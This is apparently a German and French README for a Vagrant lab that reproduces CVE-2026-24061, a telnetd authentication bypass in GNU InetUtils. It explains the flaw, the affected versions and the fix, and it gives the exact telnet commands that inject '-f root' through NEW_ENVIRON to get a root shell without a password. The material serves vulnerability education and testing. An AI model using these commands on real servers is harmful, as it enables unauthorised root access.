
Reproduktionslabor für CVE-2026-24061, eine Authentifizierungsumgehung in GNU InetUtils telnetd. Bietet eine Vagrant-basierte isolierte Umgebung und Schritt-für-Schritt-Exploit-Anweisungen, um den Root-Shell-Zugriff zu demonstrieren.
⚠️ Nur zu Bildungszwecken. Isolierte Laborumgebung.
Kritischer Authentifizierungsumgehung (CVSS 9.8) in GNU InetUtils telnetd ≤ 2.7.
Durch Injizieren von -f root als USER-Variable über die Telnet-NEW_ENVIRON-Option
kann ein nicht authentifizierter Angreifer eine Root-Shell ohne Passwort erhalten.
Die vom Client während der Telnet-Aushandlung empfangene USER-Variable wird
direkt an /usr/bin/login ohne Bereinigung übergeben:
/usr/bin/login -p -f root
Das -f-Flag weist login an, die Passwortüberprüfung für den angegebenen Benutzer zu überspringen.
Dieses Verhalten ist in RFC 1572 (Abschnitt 7) als bekanntes Risiko dokumentiert – dennoch war der Fehler
über ein Jahrzehnt in inetutils vorhanden.
GNU InetUtils telnetd 1.9.3 bis 2.7
Aktualisieren Sie auf GNU InetUtils ≥ 2.7-2
Dieses Labor verwendet Vagrant, um eine echte isolierte VM bereitzustellen, die die anfällige Version von telnetd (inetutils 2.5, aus Quellen kompiliert) ausführt, um einer realen Umgebung so nahe wie möglich zu kommen.
Voraussetzungen: Vagrant + VirtualBox auf Ihrem Rechner installiert.
git clone https://github.com/agokoli/cve-2026-24061-lab
cd cve-2026-24061-lab
vagrant up
Die VM startet mit der IP 192.168.56.10 und telnetd lauscht auf Port 23.

Von Ihrem Host-Rechner aus:
telnet
telnet> environ define USER "-f root"
telnet> open 192.168.56.10 23
Die USER-Variable wird über die NEW_ENVIRON Telnet-Option während der Aushandlungsphase injiziert – bevor der Login-Prompt erscheint.

Agokoli
⚠️ Usage éducatif uniquement. Environnement isolé.
Contournement d'authentification critique (CVSS 9.8) dans GNU InetUtils telnetd ≤ 2.7.
En injectant -f root comme valeur de la variable USER via l'option Telnet NEW_ENVIRON,
un attaquant non authentifié peut obtenir un shell root sans aucun mot de passe.
La variable USER reçue du client pendant la négociation Telnet est passée
directement à /usr/bin/login sans validation :
/usr/bin/login -p -f root
Le flag -f indique à login de ne pas vérifier le mot de passe pour l'utilisateur donné.
Ce risque est documenté dans la RFC 1572 (Section 7) — pourtant le bug est resté
présent dans inetutils pendant plus d'une décennie.
GNU InetUtils telnetd 1.9.3 à 2.7
Mettre à jour vers GNU InetUtils ≥ 2.7-2
Ce lab utilise Vagrant pour provisionner une vraie VM isolée faisant tourner la version vulnérable de telnetd (inetutils 2.5, compilé depuis les sources), afin d'être au plus proche d'un environnement réel.
Prérequis : Vagrant + VirtualBox installés sur votre machine.
git clone https://github.com/agokoli/cve-2026-24061-lab
cd cve-2026-24061-lab
vagrant up
La VM démarre avec l'IP 192.168.56.10 et telnetd en écoute sur le port 23.

Depuis votre machine hôte :
telnet
telnet> environ define USER "-f root"
telnet> open 192.168.56.10 23
La variable USER est injectée via l'option NEW_ENVIRON du protocole Telnet pendant
la phase de négociation — avant même l'apparition du prompt login:.

Agokoli